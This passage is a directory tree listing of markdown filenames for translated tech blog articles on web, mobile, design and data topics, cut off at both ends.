no-excuses-it-takes-5-mins-make-that-drawer-visible-under-your-status-bar-2.md │ ├── node-hero-node-js-authentication-passport-js.md │ ├── node-js-child-processes-everything-you-need-to-know.md │ ├── node-js-development-tips-2018.md │ ├── node-js-native-modules-with-rust.md │ ├── node-js-streams-everything-you-need-to-know.md │ ├── node-js-war-stories-solving-issues-in-production.md │ ├── nodejs-best-practices-how-to-become-a-better-developer-in-2018.md │ ├── nodejs-vs-python-where-to-use-and-where-not.md │ ├── nothing-will-change-until-you-start-building.md │ ├── notifications-in-android-n.md │ ├── nsfetchedresultscontroller-woes.md │ ├── o-h-yeah-what-we-look-forward-to-in-android-o.md │ ├── object-detection-with-yolo.md │ ├── of-svg-minification-and-gzip.md │ ├── offline-friendly-forms.md │ ├── offline-support-try-again-later-no-more.md │ ├── on-loser-experience-design.md │ ├── on-performant-arrays-in-swift.md │ ├── on-strategies-to-apply-kotlin-to-existing-java-code.md │ ├── on-writing-less-damn-code.md │ ├── online-migrations.md │ ├── open-sourcing-a-10x-reduction-in-apache-cassandra-tail-latency.md │ ├── optimize-battery-life-with-androids-gcm-network-manager.md │ ├── optimizing-layouts-in-android-reducing-overdraw.md │ ├── our-best-practices-for-writing-react-components.md │ ├── out-of-the-dropshadows.md │ ├── outside-in-development-with-double-loop-tdd.md │ ├── outsmarting-subscription-challenges.md │ ├── package-manager-fetch.md │ ├── performance-metrics-whats-this-all-about.md │ ├── performance-optimisations-for-react-applications.md │ ├── performance-tuning-a-react-application.md │ ├── permissions-part-1.md │ ├── permissions-part-2.md │ ├── php-7-hhvm-benchmarks.md │ ├── playing-with-paths.md │ ├── popovers-on-popovers.md │ ├── post-a-boarding-pass-on-facebook-get-your-account-stolen.md │ ├── postcss-what-it-is-and-what-it-can-do.md │ ├── postgres-atomicity.md │ ├── postgres-full-text-search-with-django.md │ ├── powering-php-with-janusgraph.md │ ├── practical-guide-sql-isolation.md │ ├── practical-redux-part-0-introduction.md │ ├── practical-redux-part-1-redux-orm-basics.md │ ├── practical-redux-part-2-redux-orm-concepts-and-techniques.md │ ├── practical-svg.md │ ├── predicting-your-apps-monetization-future.md │ ├── preload-prefetch-and-priorities-in-chrome.md │ ├── preparing-ios-app-for-extensions.md │ ├── private-variables-in-javascript.md │ ├── product-listing-information.md │ ├── programmers-confess-unethical-illegal-tasks-asked-of-them.md │ ├── progressive-web-amps.md │ ├── progressive-web-apps-with-react-js-part-2-page-load-performance.md │ ├── progressive-web-apps-with-react-js-part-3-offline-support-and-network-resilience.md │ ├── progressive-web-apps-with-react-js-part-4-site-is-progressively-enhanced.md │ ├── progressive-web-apps-with-react-js-part-i-introduction.md │ ├── project-need-react.md │ ├── projects-need-react.md │ ├── promising-promise-tips.md │ ├── proof-of-work-vs-proof-of-stake.md │ ├── protocol-oriented-programming-view-in-swift-3.md │ ├── protocol-oriented-programming.md │ ├── pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md │ ├── pury-new-way-to-profile-your-android-application.md │ ├── push-for-a-point-of-view.md │ ├── pyqt-versus-wxpython.md │ ├── python-3-an-intro-to-encryption.md │ ├── python-dynamic-attributes.md │ ├── python-introspection-with-the-inspect-module.md │ ├── python-is-the-perfect-tool-for-any-problem.md │ ├── python-pandas-databases.md │ ├── quantum-up-close-what-is-a-browser-engine.md │ ├── quickly-process-api-requests-with-shoryuken-and-sqs.md │ ├── rate-limiters.md │ ├── react-16-features-and-fiber-explanation.md │ ├── react-aha-moments.md │ ├── react-at-light-speed.md │ ├── react-is-slow-react-is-fast.md │ ├── react-native-android-app-memory-investigation.md │ ├── react-native-at-walmartlabs.md │ ├── react-native-push-notifications-with-onesignal.md │ ├── react-newbies-tutorial.md │ ├── react-redux-optimization.md │ ├── reactive-generic-segue-with-rxswift.md │ ├── reactive-programming-android-rxjava2-hell-part1.md │ ├── reactiveswift-manage-your-memory.md │ ├── reacts-jsx-vs-vue-s-templates-a-showdown-on-the-front-end.md │ ├── real-world-flux-ios.md │ ├── rearchitecting-airbnbs-frontend.md │ ├── rebuilding-slack-com.md │ ├── recent-web-performance-fixes-on-airbnb-listing-pages.md │ ├── recurrent-neural-network-rnn-part-4-attentional-interfaces.md │ ├── recurrent-neural-network-rnn-part-5-custom-cells.md │ ├── recurrent-neural-networks-rnn-part-1-basic-rnn-char-rnn.md │ ├── recurrent-neural-networks-rnn-part-2-text-classification.md │ ├── recurrent-neural-networks-rnn-part-3-encoder-decoder.md │ ├── recyclerview-prefetch.md │ ├── reduce-composing-software.md │ ├── reducers-vs-transducers.md │ ├── reducing-cognitive-overload-for-a-better-user-experience.md │ ├── reducing-jpg-file-size.md │ ├── redux-4-ways.md │ ├── refactoring-not-on-the-backlog.md │ ├── refactoring-singletons-in-swift.md │ ├── reflections-on-eslints-success.md │ ├── regarding-swift-build-time-optimizations.md │ ├── requiring-modules-in-node-js-everything-you-need-to-know.md │ ├── rest-2-0-graphql.md │ ├── rest-apis-are-rest-in-peace-apis-long-live-graphql.md │ ├── retrofit-getting-started.md │ ├── rewriting-rxjava-with-kotlin-coroutines.md │ ├── rice-simple-prioritization-for-product-managers.md │ ├── right-click-logo-show-logo-download-options.md │ ├── rollup-interview.md │ ├── rom-simple-to-unusual-a-look-at-navigation-in-web-design.md │ ├── rss-responsive-design.md │ ├── rxandroid-tutorial.md │ ├── rxjava-production-line.md │ ├── rxjava-vs-kotlin-coroutines-quick-look.md │ ├── rxjs-observables-observers-operators.md │ ├── rxswift-at-first-sight.md │ ├── scaling-node-js-applications.md │ ├── schedule-tasks-and-jobs-intelligently-in-android.md │ ├── scrolling-behavior-for-appbars-in-android.md │ ├── seamless-ways-to-upgrade-angular-1-x-to-angular-2.md │ ├── secure-web-app-http-headers.md │ ├── securing-cookies-in-go.md │ ├── securing-your-express-app.md │ ├── server-side-react-rendering.md │ ├── server-side-web-components-how-and-why.md │ ├── service-workers-the-little-heroes-behind-progressive-web-apps.md │ ├── setstate-gate-abc.md │ ├── setting-up-prototypes-in-v8.md │ ├── sharing-files-though-intents-are-you-ready-for-nougat.md │ ├── shaving-our-image-size.md │ ├── shrinking-apks-growing-installs.md │ ├── simplify-your-life-with-an-ssh-config-file.md │ ├── six-of-the-most-exciting-es6-features-in-node-js-v6-lts.md │ ├── sketch-mastering.md │ ├── slack-s-2-8-billion-dollar-secret-sauce.md │ ├── sloped-edges-with-consistent-angle-in-css.md │ ├── smooth-css-animations.md │ ├── so-whats-this-graphql-thing-i-keep-hearing-about.md │ ├── so-you-want-to-be-a-functional-programmer-part-1.md │ ├── so-you-want-to-be-a-functional-programmer-part-2.md │ ├── so-you-want-to-be-a-functional-programmer-part-3.md │ ├── so-you-want-to-be-a-functional-programmer-part-4.md │ ├── so-you-want-to-be-a-functional-programmer-part-5.md │ ├── so-you-want-to-be-a-functional-programmer-part-6.md │ ├── so-you-want-to-learn-react-js.md │ ├── software-testing-big-picture.md │ ├── solid-principles-the-definitive-guide.md │ ├── spotifys-discover-weekly-how-machine-learning-finds-your-new-music.md │ ├── sprite-animation.md │ ├── sql-tutorial-how-to-write-better-queries.md │ ├── standard-package-layout.md │ ├── start-your-open-source-career.md │ ├── state-containers-in-swift.md │ ├── state-of-vue-report-2017.md │ ├── statements-messages-reducers.md │ ├── steve-jobs-in-1994-the-rolling-stone-interview-20110117.md │ ├── stop-designing-interfaces-start-designing-experiences.md │ ├── stop-foxtrots-now.md │ ├── story-thought-and-system-thought.md │ ├── streams-ftw.md │ ├── surprising-polymorphism-in-react-applications.md │ ├── svg-vs-gif.md │ ├── swift-3-0-release-process.md │ ├── swift-3-migration-pitfalls.md │ ├── swift-4-0-released.md │ ├── swift-algorithm-club-swift-binary-search-tree-data-structure.md │ ├── swift-arrays-holding-elements-weak-references.md │ ├── swift-initialization-with-closures.md │ ├── swift-keywords.md │ ├── swift-lazy-initialization-with-closures.md │ ├── swift-retention-cycle-in-closures-and-delegate.md │ ├── swift-struct-references.md │ ├── swift-testability.md │ ├── swift-value-types-reference-types.md │ ├── switching-site-https-shoestring-budget.md │ ├── talk-the-state-of-the-web.md │ ├── taming-great-complexity-mvvm-coordinators-and-rxswift.md │ ├── tdd-quick-nimble.md │ ├── tensorflow-in-a-nutshell-part-one-basics.md │ ├── tensorflow-in-a-nutshell-part-three-all-the-models.md │ ├── tensorflow-in-a-nutshell-part-two-hybrid-learning.md │ ├── terrible-ux-trends-for.md │ ├── test-driving-away-coupling-in-activities.md │ ├── testing-ios-apps.md │ ├── testing-mvp-using-espresso-and-mockito.md │ ├── testing-views-in-isolation-with-espresso.md │ ├── text-classification-using-neural-networks.md │ ├── text-fields-in-mobile-app.md │ ├── the-10-unique-ways-slack-hacked-growth-to-become-a-4-billion-company.md │ ├── the-9-rules-of-design-research.md │ ├── the-GCD-handbook.md │ ├── the-android-lifecycle-cheat-sheet-part-i-single-activities.md │ ├── the-art-of-defensive-programming.md │ ├── the-art-of-designing-with-heart.md │ ├── the-art-of-minimalism-in-mobile-app-ui-design.md │ ├── the-basics-of-designing-mobile-apps.md │ ├── the-caching-antipattern.md │ ├── the-circle-of-product-design.md │ ├── the-coming-era-of-the-zombie-token.md │ ├── the-complete-guide-to-network-unit-testing-in-swift.md │ ├── the-constructor-is-dead-long-live-the-constructor.md │ ├── the-details-that-matter.md │ ├── the-dos-and-don-ts-of-writing-test-cases-in-android.md │ ├── the-easiest-core-data.md │ ├── the-easy-way-to-turn-a-website-into-a-progressive-web-app.md │ ├── the-essentials-of-ios-app-testing-for-iphone-x.md │ ├── the-evolution-of-code-deploys-at-reddit.md │ ├── the-flexible-routing-approach-in-an-ios-app.md │ ├── the-future-of-deep-learning.md │ ├── the-future-of-state-management.md │ ├── the-future-of-ux-design.md │ ├── the-hidden-treasures-of-object-composition.md │ ├── the-introduction-of-starspace.md │ ├── the-limitations-of-deep-learning.md │ ├── the-many-faces-of-this-in-javascript.md │ ├── the-next-step-for-reactive-android-programming.md │ ├── the-one-python-library-everyone-needs.md │ ├── the-past-present-and-future-of-sketch.md │ ├── the-perils-of-shared-code.md │ ├── the-right-way-to-bundle-your-assets-for-faster-sites-over-http-2.md │ ├── the-rise-and-fall-and-rise-of-functional-programming-composable-software.md │ ├── the-secret-of-successful-typeface-combinations.md │ ├── the-secret-to-writing-killer-product-copy.md │ ├── the-three-economic-eras-of-bitcoin.md │ ├── the-time-i-had-to-crack-my-own-reddit-password.md │ ├── the-tiny-keyboard-problem-do-people-complete-forms.md │ ├── the-truth-is-in-the-code.md │ ├── the-two-types-of-product-virality.md │ ├── the-ultimate-guide-to-creating-a-mobile-application.md │ ├── the-way-of-the-gopher.md │ ├── the-worlds-fastest-javascript-memoization-library.md │ ├── things-i-wish-i-knew-before-i-wrote-my-first-android-app.md │ ├── things-i-wish-i-knew-when-i-started-building-android-sdk-libraries.md │ ├── things-i-wish-i-were-told-about-react-native.md │ ├── think-less-design-better.md │ ├── this-browser-tweak-saved-60%-of-requests-to-facebook.md │ ├── timeline-for-learning-react.md │ ├── timer-problems.md │ ├── timing-is-everything.md │ ├── tips-to-keep-in-mind-while-developing-complex-ui-in-web.md │ ├── tools-for-developing-accessible-websites.md │ ├── top-javascript-libraries-tech-to-learn-in-2018.md │ ├── top-ten-pull-request-review-mistakes.md │ ├── toward-go2.md │ ├── towards-godless-android-development-how-and-why-i-kill-god-objects.md │ ├── tracing-patterns-hinder-performance.md │ ├── transition-effect-with-css-masks.md │ ├── troubleshooting-proguard-issues-on-android.md │ ├── trusting-sdks.md │ ├── turbocharged-javascript-refactoring-with-codemods.md │ ├── turning-design-mockups-into-code-with-deep-learning-1.md │ ├── turning-design-mockups-into-code-with-deep-learning-2.md │ ├── type-checker-issues.md │ ├── typescript-class-vs-interface.md │ ├── typescript-getting-popular.md │ ├── typescript-javascript-with-super-powers.md │ ├── typescript-javascript-with-superpowers-part-ii.md │ ├── typography-as-base-from-the-content-out.md │ ├── typography-can-make-your-design-or-break-it.md │ ├── typography-for-user-interfaces.md │ ├── ui-vs-ux-what-is-the-difference.md │ ├── uiscrollview-tutorial.md │ ├── ultimate-guide-to-json-parsing-with-swift-4.md │ ├── unconventional-way-of-learning-a-new-programming-language.md │ ├── under-the-hood-of-futures-and-promises-in-swift.md │ ├── understanding-asynchronous-programming-in-python.md │ ├── understanding-higher-order-components.md │ ├── understanding-javascript-promises-pt-i-background-basics.md │ ├── understanding-javascripts-engine-with-cartoons.md │ ├── understanding-lock-files-in-npm-5.md │ ├── understanding-node-js-event-driven-architecture.md │ ├── understanding-service-workers.md │ ├── understanding-tensorflow-using-go.md │ ├── understanding-v8s-bytecode.md │ ├── undo-history-in-swift.md │ ├── upcoming-regexp-features.md │ ├── upgrade-project-css-selector-custom-attributes.md │ ├── use-a-render-prop.md │ ├── user-breakpoints-in-xcode.md │ ├── using-a-core-data-model-in-swift-playgrounds.md │ ├── using-a-function-in-setstate-instead-of-an-object.md │ ├── using-arkit-with-metal-part-2.md │ ├── using-arkit-with-metal.md │ ├── using-buffers-node-js-c-plus-plus.md │ ├── using-concurrency-and-speed-and-performance-on-android.md │ ├── using-css-counters.md │ ├── using-devtools-tweak-designs-browser.md │ ├── using-feature-queries-in-css.md │ ├── using-fetch-as-google-for-seo-experiments-with-react-driven-websites.md │ ├── using-leanbacks-diffcallback.md │ ├── using-machine-learning-to-predict-value-of-homes-on-airbnb.md │ ├── using-new-google-sheets-api.md │ ├── using-swifts-enums-for-quick-actions.md │ ├── using-zopfli-to-optimize-png-images.md │ ├── uuid-or-guid-as-primary-keys-be-careful.md │ ├── ux-and-design-thinking-5-tips-for-changing-your-company-mindset.md │ ├── ux-infinite-scrolling-vs-pagination.md │ ├── ux-is-grounded-in-rationale-not-design.md │ ├── ux-review-and-redesign-of-the-cocacola-freestyle-kiosk-interface.md │ ├── v3-1-0-such-perf-wow-many-streams.md │ ├── v8-behind-the-scenes-november-edition.md │ ├── vectors-for-all-almost.md │ ├── vectors-for-all-finally.md │ ├── vectors-for-all-slight-return.md │ ├── vertical-typesetting-revisited.md │ ├── viewmodels-a-simple-example.md │ ├── viewmodels-and-livedata-patterns-antipatterns.md │ ├── viewmodels-persistence-onsaveinstancestate-restoring-ui-state-and-loaders.md │ ├── war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md │ ├── we-analyzed-thousands-of-coding-interviews-heres-what-we-learned.md │ ├── web-developer-security-checklist.md │ ├── web-font-loading-patterns.md │ ├── web-fonts-when-you-need-them-when-you-dont.md │ ├── webhooks-dos-and-dont-s-what-we-learned-after-integrating-100-apis.md │ ├── webpack-3-official-release.md │ ├── webpack-4-beta-try-it-today.md │ ├── webpack-and-rollup-the-same-but-different.md │ ├── webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md │ ├── webpack-http-2.md │ ├── webpack-your-bags.md │ ├── what-archive-format-should-you-use-war-or-jar.md │ ├── what-does-the-time-complexity-o-log-n-actually-mean.md │ ├── what-face-id-means-for-accessibility.md │ ├── what-i-hate-in-kotlin.md │ ├── what-i-learned-from-reading-the-redux-source-code.md │ ├── what-i-learned-from-writing-six-functions-that-all-did-the-same-thing.md │ ├── what-i-would-like-to-know-before-i-code-my-first-ios-application-in-swift.md │ ├── what-is-mcts.md │ ├── what-is-the-real-role-of-a-design-portfolio-website.md │ ├── what-makes-webassembly-fast.md │ ├── what-to-do-if-your-product-isnt-growing.md │ ├── what-unit-tests-are-trying-to-tell-us-about-activities-pt-2.md │ ├── what-unit-tests-are-trying-to-tell-us-about-activities-pt1.md │ ├── what-will-bitcoin-look-like-in-twenty-years-1.md │ ├── what-will-bitcoin-look-like-in-twenty-years-2.md │ ├── what-will-bitcoin-look-like-in-twenty-years-3.md │ ├── what-you-must-know-to-build-savvy-push-notifications.md │ ├── what-you-see-is-what-you-use.md │ ├── whats-in-the-apk.md │ ├── whats-new-in-html-5-2.md │ ├── whats-new-in-ios-11.md │ ├── whats-new-in-react-16-3.md │ ├── whats-new-in-vue-devtools-4-0.md │ ├── whats-so-great-about-redux.md │ ├── where-is-webassembly-now-and-whats-next.md │ ├── where-to-spot-new-design-trends-15-sources-to-stay-fresh.md │ ├── who-plays-mobile-games.md │ ├── whole-module-optimizations.md │ ├── why-and-how-the-cryptobubble-will-burst.md │ ├── why-android-testing-is-so-hard-historical-edition.md │ ├── why-building-community-is-the-new-growth-hack.md │ ├── why-composition-is-harder-with-classes.md │ ├── why-context-value-matters-and-how-to-improve-it.md │ ├── why-design-principles-shape-stronger-products.md │ ├── why-design.md │ ├── why-do-people-open-emails.md │ ├── why-do-we-need-a-new-api.md │ ├── why-drop-down-lists-are-bad-for-the-user-experience.md │ ├── why-i-close-prs-oss-project-maintainer-notes.md │ ├── why-i-havent-fixed-your-issue-yet.md │ ├── why-i-love-ugly-messy-interfaces-and-you-probably-do-too.md │ ├── why-is-arkit-better-than-the-alternatives.md │ ├── why-learn-functional-programming-in-javascript-composing-software.md │ ├── why-object-literals-in-javascript-are-cool.md │ ├── why-our-website-is-faster-than-yours.md │ ├── why-the-first-ten-minutes-is-crucial-if-you-want-to-keep-players-coming-back-to-your-mobile-game.md │ ├── why-user-experience-always-has-to-come-first.md │ ├── why-vertical-rhythms.md │ ├── why-we-desperately-need-women-to-design-ai.md │ ├── why-we-never-thank-open-source-maintainers.md │ ├── why-your-app-looks-better-in-sketch.md │ ├── women-and-mobile-games-learnings-for-developers.md │ ├── workcation-app-part-1-fragments-custom-transition.md │ ├── workcation-app-part-2-animating-markers-with-mapoverlaylayout.md │ ├── workcation-app-part-3-recyclerview-interaction-with-animated-markers.md │ ├── workcation-app-part-4-shared-element-transition-recyclerview-scenes.md │ ├── world-class-testing-development-pipeline-for-android-part-2.md │ ├── world-class-testing-development-pipeline-for-android.md │ ├── wrapping-existing-libraries-with-rxjava.md │ ├── write-clean-css-10-simple-steps-pt1.md │ ├── write-clean-css-10-simple-steps-pt2.md │ ├── write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md │ ├── writing-a-lambda-calculus-interpreter-in-javascrip.md │ ├── writing-better-adapters.md │ ├── writing-better-css-with-currentcolor.md │ ├── writing-unit-tests-in-a-swift-playground.md │ ├── wwdc-2016-increased-safety-in-swift-3.md │ ├── xcode7-xcode8.md │ ├── yammer-ios-app-ported-to-swift-3.md │ ├── yeah-redesign-part-1.md │ ├── you-do-not-need-a-css-grid-based-grid-system.md │ ├── you-dont-know-node.md │ └── your-node-js-authentication-tutorial-is-wrong.md ├── TODO1/ │ ├── 1-2-3-9-looking-into-assembly-code-of-coercion.md │ ├── 10-signs-you-will-suck-at-programming.md │ ├── 10-things-ive-learned-from-working-remotely.md │ ├── 101-tips-for-being-a-great-programmer-human.md │ ├── 11-chrome-apis-that-give-your-web-app-a-native-feel.md │ ├── 11-react-component-libraries-you-should-know.md │ ├── 13-javascript-methods-useful-for-dom-manipulation.md │ ├── 13-reasons-why-you-should-choose-consider-to-move-to-flutter-in-2019.md │ ├── 16-devtools-tips-and-tricks-every-css-developer-need-to-know.md │ ├── 23-facilitation-tips-for-design-sprints.md │ ├── 30-minute-python-web-scraper.md │ ├── 4-css-filters-for-adjusting-color.md │ ├── 4-reasons-why-you-should-design-without-color-first.md │ ├── 5-animation-packages-ionic.md │ ├── 5-best-practices-to-prevent-git-leaks.md │ ├── 5-better-practices-for-javascript-promises-in-real-projects.md │ ├── 5-more-drawing-exercises.md │ ├── 5-optimization-tips-for-your-mobile-web-app-for-higher-user-retention.md │ ├── 5-rules-for-designer-engineer-collaboration.md │ ├── 5-secret-features-of-json-stringify.md │ ├── 5-tips-for-using-showinstallprompt-in-your-instant-experience.md │ ├── 5-tips-to-write-better-conditionals-in-javascript.md │ ├── 5-tools-for-faster-development-in-react.md │ ├── 5-ways-to-create-a-settings-icon.md │ ├── 6-best-javascript-frameworks-in-2020.md │ ├── 7-javascript-eeg-mind-reading-libraries-for-2018.md │ ├── 7-principles-of-icon-design.md │ ├── 7-rules-for-creating-gorgeous-ui-part-1.md │ ├── 7-rules-for-creating-gorgeous-ui-part-2.md │ ├── 7-steps-to-get-more-clients-as-a-freelance-developer.md │ ├── 8-tips-for-great-code-reviews.md │ ├── 8-ui-ux-design-trends-for-2020.md │ ├── 8-useful-javascript-tricks.md │ ├── 8-useful-tree-data-structures-worth-knowing.md │ ├── The-Android-Lifecycle-cheat-sheet-part-II-Multiple-activities.md │ ├── The-Android-Lifecycle-cheat-sheet-part-III-Fragments.md │ ├── The-Android-Lifecycle-cheat-sheet-part-IV.md │ ├── a-beginner-friendly-introduction-to-containers-vms-and-docker.md │ ├── a-beginners-guide-to-ethereum.md │ ├── a-beginners-guide-to-rapid-prototyping.md │ ├── a-beginners-guide-to-simulating-dynamical-systems-with-python.md │ ├── a-brief-totally-accurate-history-of-programming-languages.md │ ├── a-closer-look-at-the-provider-package.md │ ├── a-complete-guide-to-getting-hired-as-an-ios-developer-in-2018.md │ ├── a-comprehensive-and-honest-list-of-ux-clichés.md │ ├── a-comprehensive-look-back-at-frontend-in-2018.md │ ├── a-deep-dive-into-native-lazy-loading-for-images-and-frames.md │ ├── a-deep-dive-on-python-type-hints.md │ ├── a-gentle-introduction-to-react-motion.md │ ├── a-guide-to-color-accessibility-in-product-design.md │ ├── a-guide-to-css-grid-and-accessibility.md │ ├── a-guide-to-css-support-in-browsers.md │ ├── a-guide-to-custom-elements-for-react-developers.md │ ├── a-little-reminder-that-pseudo-elements-are-children-kinda.md │ ├── a-look-at-css-hyphenation-in-2019.md │ ├── a-minimal-guide-to-ecmascript-decorators.md │ ├── a-netflix-web-performance-case-study.md │ ├── a-new-era-of-launching-mobile-games.md │ ├── a-new-go-api-for-protocol-buffers.md │ ├── a-new-hope-the-future-of-application-platforms.md │ ├── a-patchwork-plaid-monolith-to-modularized-app.md │ ├── a-picture-is-worth-a-thousand-words-faces-and-barcodes—the-shape-detection-api.md │ ├── a-quick-beginners-guide-to-drawing.md │ ├── a-quick-introduction-to-functional-javascript.md │ ├── a-react-job-interview-recruiter-perspective.md │ ├── a-real-world-comparison-of-front-end-frameworks-with-benchmarks-2018-update.md │ ├── a-realworld-comparison-of-front-end-frameworks-2020.md │ ├── a-simple-guide-to-a-b-testing-for-data-science.md │ ├── a-simple-guide-to-es6-promises.md │ ├── a-simple-guide-to-understanding-javascript-es6-generators.md │ ├── a-step-by-step-explanation-of-principal-component-analysis.md │ ├── a-tale-of-webpack-4-and-how-to-finally-configure-it-in-the-right-way.md │ ├── a-web-application-completely-in-rust.md │ ├── absolute-truths-unlearned-as-junior-developer.md │ ├── abstraction-composition.md │ ├── abusing-and-overusing-list-comprehensions-in-python.md │ ├── accepting-payments-with-stripe-vuejs-and-flask.md │ ├── active-learning-in-machine-learning.md │ ├── activity-recognitions-new-transition.md │ ├── adaptive-serving-using-javascript-and-the-network-information-api.md │ ├── adopting-kotlin.md │ ├── advanced-tooling-for-web-components.md │ ├── agile-agile-blah-blah.md │ ├── airflow-a-workflow-management-platform.md │ ├── algebraic-effects-for-the-rest-of-us.md │ ├── algorithms-behind-modern-storage-systems.md │ ├── alternatives-to-jsx.md │ ├── an-easier-path-to-functional-programming-in-java.md │ ├── an-illustrated-and-musical-guide-to-map-reduce-and-filter-array-methods.md │ ├── an-in-depth-exploration-of-the-array-fill-function.md │ ├── an-in-depth-svg-tutorial.md │ ├── an-introduction-to-css-shapes.md │ ├── an-introduction-to-raspberry-pi-4-gpio-and-controlling-it-with-node-js.md │ ├── an-introduction-to-speech-recognition-using-wfsts.md │ ├── an-open-source-interactive-data-visualization-tool-for-neuroevolution.md │ ├── an-overview-of-go-tooling.md │ ├── analysing-1-4-billion-rows-with-python.md │ ├── android-data-binding-library-from-observable-fields-to-livedata-in-two-steps.md │ ├── android-emulator-project-marble-improvements.md │ ├── android-networking-in-2019-retrofit-with-kotlins-coroutines.md │ ├── android-studio-project-marble-apply-changes.md │ ├── android-studio-switching-to-d8-dexer.md │ ├── animated-qr-data-transfer-with-gomobile-and-gopherjs.md │ ├── animated-transition-in-react-native.md │ ├── announcing-the-alexa-skills-kit-for-node-js.md │ ├── announcing-typescript-3-7-beta.md │ ├── answering-questions-on-flutter-app-development.md │ ├── apple-has-no-idea-whats-next-so-it-s-just-banging-on-the-same-old-drum.md │ ├── applying-styles-based-on-the-user-scroll-position-with-smart-css.md │ ├── architecting-single-page-applications.md │ ├── art-direction-for-the-web-using-css-shapes.md │ ├── articles-website-design-mistakes.md │ ├── asynchronous-tasks-with-flask-and-redis-queue.md │ ├── automated-feature-engineering-in-python.md │ ├── avoiding-the-async-await-hell.md │ ├── avoiding-those-dang-cannot-read-property-of-undefined-errors.md │ ├── basic-color-theory-for-web-developers.md │ ├── beautility-my-ultimate-iphone-setup.md │ ├── better-stats-for-better-decisions.md │ ├── beyond-console-log.md │ ├── birdseye-go.md │ ├── bitcoin-in-bigquery-blockchain-analytics-on-public-data.md │ ├── blazingly-fast-parsing-part-1-optimizing-the-scanner.md │ ├── blazingly-fast-parsing-part-2-lazy-parsing.md │ ├── blockchain-implementation-with-java-code.md │ ├── blockchain-platforms-tech-to-watch-in-2019.md │ ├── boost-your-website-performance-with-phpfastcache.md │ ├── bottom-navigation-bar-using-provider-flutter.md │ ├── brief-history-of-http.md │ ├── btc-history-git.md │ ├── build-a-blog-using-nuxt-strapi-and-apollo.md │ ├── build-a-drag-and-drop-dnd-layout-builder-with-react-and-immutablejs.md │ ├── build-a-state-management-system-with-vanilla-javascript.md │ ├── build-it-test-it-deliver-it-complete-ios-guide-on-continuous-delivery-with-fastlane-and-jenkins.md │ ├── build-secure-rest-api-with-node.md │ ├── build-time-travel-debugging-in-redux-from-scratch.md │ ├── build-your-own-oauth2-server-in-go.md │ ├── building-a-cross-platform-mobile-team.md │ ├── building-a-custom-slider-in-flutter-with-gesturedetector.md │ ├── building-a-dynamic-tree-diagram-with-svg-and-vue-js.md │ ├── building-a-successful-app-or-game-business-in-southeast-asia.md │ ├── building-a-text-editor-for-a-digital-first-newsroom.md │ ├── building-accessible-websites-and-apps-is-a-moral-obligation.md │ ├── building-beautiful-flexible-user-interfaces-with-flutter-material-theming-and-official-material.md │ ├── building-bikesharing-application-open-source-tools.md │ ├── building-fluid-interfaces-ios-swift.md │ ├── building-hocs-with-recompose.md │ ├── building-the-design-ecosystem-of-the-future.md │ ├── building-type-mode-for-stories-on-ios-and-android.md │ ├── bye-bye-mongo-hello-postgres.md │ ├── cache-control-for-civilians.md │ ├── calls-between-javascript-and-webassembly-are-finally-fast.md │ ├── camera-enumeration-on-android.md │ ├── can-machine-learning-model-simple-math-functions.md │ ├── can-you-console-log-in-jsx.md │ ├── cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-1.md │ ├── cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-2.md │ ├── cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-3.md │ ├── cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-4.md │ ├── ces-learn-css-layout-part-1-flexbox.md │ ├── chars2vec-character-based-language-model-for-handling-real-world-texts-with-spelling-errors-and.md │ ├── checking-the-network-connection-with-a-react-hook.md │ ├── classes-vs-data-structures.md │ ├── classes-without-classes.md │ ├── clean-architecture-in-go.md │ ├── cloud-computing-without-containers.md │ ├── code-your-own-blockchain-in-less-than-200-lines-of-go.md │ ├── code-your-own-blockchain-mining-algorithm-in-go.md │ ├── collection-cognitive-biases-how-to-use-1.md │ ├── collection-cognitive-biases-how-to-use-2.md │ ├── collection-cognitive-biases-how-to-use-3.md │ ├── combine-getting-started.md │ ├── commit-messages-guide.md │ ├── comparing-compilers-in-rust-haskell-c-and-python-1.md │ ├── comparing-compilers-in-rust-haskell-c-and-python-2.md │ ├── composing-software-an-introduction.md │ ├── composing-software-the-book.md │ ├── compromised-npm-package-event-stream.md │ ├── conditional-rendering-in-react.md │ ├── connected-cars-what-are-they-and-how-to-get-started-developing-connected-car-apps.md │ ├── context-api-vs-redux.md │ ├── control-flow-integrity-in-android-kernel.md │ ├── converting-your-ios-app-to-android-using-kotlin.md │ ├── convolutional-layers-for-deep-learning-neural-networks.md │ ├── coroutines-snags.md │ ├── courier-dropbox-migration-to-grpc.md │ ├── crafting-beautiful-ux-with-api-requests.md │ ├── crafting-reusable-html-templates.md │ ├── create-a-line-chart-in-swiftui-using-paths.md │ ├── creating-a-custom-element-from-scratch.md │ ├── creating-a-graphql-server-with-nodejs.md │ ├── creating-a-multi-level-hierarchical-flyout-navigation-menu-using-only-html-and-css.md │ ├── creating-a-simple-recommender-system-in-python-using-pandas.md │ ├── creating-good-roadmaps-6-practical-steps-product-leaders.md │ ├── creating-spm-tools-from-your-existing-codebase.md │ ├── creating-website-sitemap.md │ ├── creating-with-a-design-system-in-sketch-part-one-tutorial.md │ ├── creating-with-a-design-system-in-sketch-part-two-tutoria.md │ ├── cross-stitching-plaid-and-androidx.md │ ├── css-architecture-for-multiple-websites.md │ ├── css-pseudo-selectors-you-never-knew-existed.md │ ├── css-quickies-css-variables-or-how-you-create-a-white-dark-theme-easily.md │ ├── css-variables-dynamic-app-themes.md │ ├── curiosity-and-procrastination-in.md │ ├── current-status-of-python-packaging.md │ ├── curry-and-function-composition.md │ ├── custom-encoding-and-decoding-json-in-swift.md │ ├── dart-features-for-better-code-types-and-working-with-parameters.md │ ├── data-binding-lessons-learnt.md │ ├── data-science-and-machine-learning-interview-questions.md │ ├── data-science-for-startups-introduction.md │ ├── data-streaming-scalability.md │ ├── data-streaming.md │ ├── data-visualization-with-bokeh-in-python-part-ii-interactions.md │ ├── data-visualization-with-bokeh-in-python-part-iii-a-complete-dashboard.md │ ├── data-visualization-with-bokeh-in-python-part-one-getting-started.md │ ├── databook-turning-big-data-into-knowledge-with-metadata-at-uber.md │ ├── 